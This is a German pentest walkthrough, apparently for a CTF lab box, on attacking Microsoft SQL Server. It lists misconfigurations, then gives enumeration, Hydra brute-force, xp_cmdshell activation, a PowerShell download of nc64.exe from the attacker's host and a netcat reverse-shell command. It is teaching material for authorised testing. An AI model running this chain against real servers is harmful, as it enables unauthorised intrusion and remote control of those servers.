1433 - MSSQL

Einführung

Microsoft SQL Server (MSSQL) ist ein relationales Datenbankmanagementsystem, das in vielen Windows-Umgebungen zum Einsatz kommt. In Penetration Tests kann ein erreichbarer MSSQL-Server einen vielversprechenden Angriffsvektor darstellen, insbesondere wenn Login-Daten bekannt oder erratbar sind.

Ziel dieser Anleitung ist es, zu zeigen, wie man sich mit MSSQL verbindet, Berechtigungen prüft, die Kommandoausführung über xp_cmdshell ermöglicht und schließlich eine Reverse Shell erhält.


Typische Fehlkonfigurationen in MSSQL-Umgebungen

  • Keine Verschlüsselung zwischen MSSQL-Clients und dem Server

  • Selbstsignierte Zertifikate bei aktivierter Verschlüsselung (anfällig für Spoofing)

  • Verwendung von Named Pipes anstelle von TCP (kann für Lateral Movement missbraucht werden)

  • Schwache oder Standard-Zugangsdaten für den sa-Account (z. B. sa:sa)

  • Nicht deaktivierter sa-Account, obwohl nicht benötigt

  • Veraltete MSSQL-Versionen mit bekannten Schwachstellen

  • Fehlende Rollen- und Rechteprüfung nach Änderungen (z. B. alte Benutzer mit sysadmin-Rechten)

  • Unnötig aktivierte Features, z. B. xp_cmdshell oder OLE Automation Procedures

  • Fehlende Netzwerksegmentierung, MSSQL ist direkt aus anderen Netzwerken erreichbar

  • Logging und Auditing deaktiviert oder unzureichend konfiguriert


Grundlegende MySQL-Befehle

SELECT name FROM master..sysdatabases;

Listet alle verfügbaren Datenbanken.

USE <datenbank>;

Wechselt zur angegebenen Datenbank.

SELECT name FROM sysobjects WHERE type='U';

Zeigt alle Tabellen der aktuellen Datenbank.

EXEC sp_columns <tabelle>;

Listet Spalten einer bestimmten Tabelle.

SELECT * FROM <tabelle>;

Zeigt den gesamten Inhalt einer Tabelle.

SELECT * FROM <tabelle> WHERE <spalte> = '<wert>';

Sucht nach einem spezifischen Wert in einer Tabelle.

SELECT SYSTEM_USER;

Zeigt den aktuellen MSSQL-Benutzernamen.

SELECT is_srvrolemember('sysadmin');

Prüft, ob der aktuelle Benutzer sysadmin-Rechte hat.

EXEC xp_cmdshell 'whoami';

Führt einen Windows-Befehl über xp_cmdshell aus (falls aktiviert).


Enumeration von MSSQL

sudo nmap -sV -sC -p1433 --script=ms-sql* <Ziel-IP>

oder via Metasploit

use auxiliary/scanner/mssql/mssql_ping
set RHOSTS <ZIEL-IP>
run

Bruteforcing

Mit Hydra:

hydra -L users.txt -P passwords.txt mssql://<Ziel-IP> -V

Verbindung zum MSSQL-Server mit mssqlclient.py

Wir nutzen das Tool mssqlclient.py aus der Impacket-Suite, um eine Verbindung herzustellen.

Befehl:

python3 mssqlclient.py ARCHETYPE/sql_svc@<TARGET_IP> -windows-auth
  • ARCHETYPE/sql_svc: Benutzername (Domäne/Benutzer)

  • -windows-auth: Nutzt Windows Authentication

Warum dieser Schritt wichtig ist: Damit erhalten wir eine interaktive SQL-Shell auf dem Server. Voraussetzung ist ein gültiger Benutzername und Passwort (z. B. aus Konfigurationsdateien).


Rollen und Rechte überprüfen

Nach dem Login prüfen wir, ob wir Systemrechte (sysadmin) haben:

SQL-Befehl:

SELECT is_srvrolemember('sysadmin');
  • Ausgabe 1 bedeutet, wir sind sysadmin und haben volle Kontrolle.

Warum dieser Schritt wichtig ist: Nur mit sysadmin-Rechten können wir xp_cmdshell nutzen und damit Systembefehle ausführen.


Kommandoausführung mit xp_cmdshell vorbereiten

xp_cmdshell ist standardmäßig deaktiviert. Wir aktivieren sie mit:

SQL-Befehle:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Warum dieser Schritt wichtig ist: Erst durch diese Befehle wird xp_cmdshell aktiviert und erlaubt die Ausführung von Systemkommandos über SQL.


Erste Systemkommandos ausführen

Testen, ob xp_cmdshell funktioniert:

EXEC xp_cmdshell 'whoami';

Warum dieser Schritt wichtig ist: Verifiziert, ob wir erfolgreich Kommandos ausführen können und mit welchem Benutzer wir arbeiten.


Reverse Shell vorbereiten

Wir starten einen Python HTTP-Server und Netcat Listener:

sudo python3 -m http.server 80
sudo nc -lvnp 443

Ziel: Die Datei nc64.exe vom eigenen System auf das Ziel laden.

Download-Verzeichnis herausfinden:

EXEC xp_cmdshell "powershell -c pwd"

Falls kein Schreibrecht, in z. B. C:\Users\sql_svc\Downloads wechseln.

Datei per PowerShell herunterladen:

EXEC xp_cmdshell "powershell -c cd C:\\Users\\sql_svc\\Downloads; wget http://<YOUR_IP>/nc64.exe -outfile nc64.exe"

Warum dieser Schritt wichtig ist: Wir platzieren ein Binary (Netcat), das uns eine Remote Shell liefert.


Reverse Shell starten

EXEC xp_cmdshell "powershell -c C:\\Users\\sql_svc\\Downloads\\nc64.exe -e cmd.exe <YOUR_IP> 443"

Warum dieser Schritt wichtig ist: Damit erhalten wir eine interaktive Remote-Shell als Benutzer sql_svc.


Was jetzt?

  • Sammle erste Informationen: whoami, hostname, ipconfig, systeminfo

  • Suche nach Rechten und Schwachstellen zur Privilege Escalation

  • Lies die user.txt auf dem Desktop des SQL-Nutzers


Zusammenfassung

  • Verbindung mit mssqlclient.py (Impacket)

  • Prüfen der Rechte mit is_srvrolemember

  • Aktivieren von xp_cmdshell

  • Remote-Kommandos ausführen

  • Reverse Shell holen per Netcat & PowerShell

Optional: Suche nach LPE (z. B. Unquoted Service Paths, AlwaysInstallElevated, Token Impersonation etc.) zur Privilege Escalation.

Wenn du willst, kann ich daraus auch eine kompakte Cheatsheet-Variante erstellen.

Last updated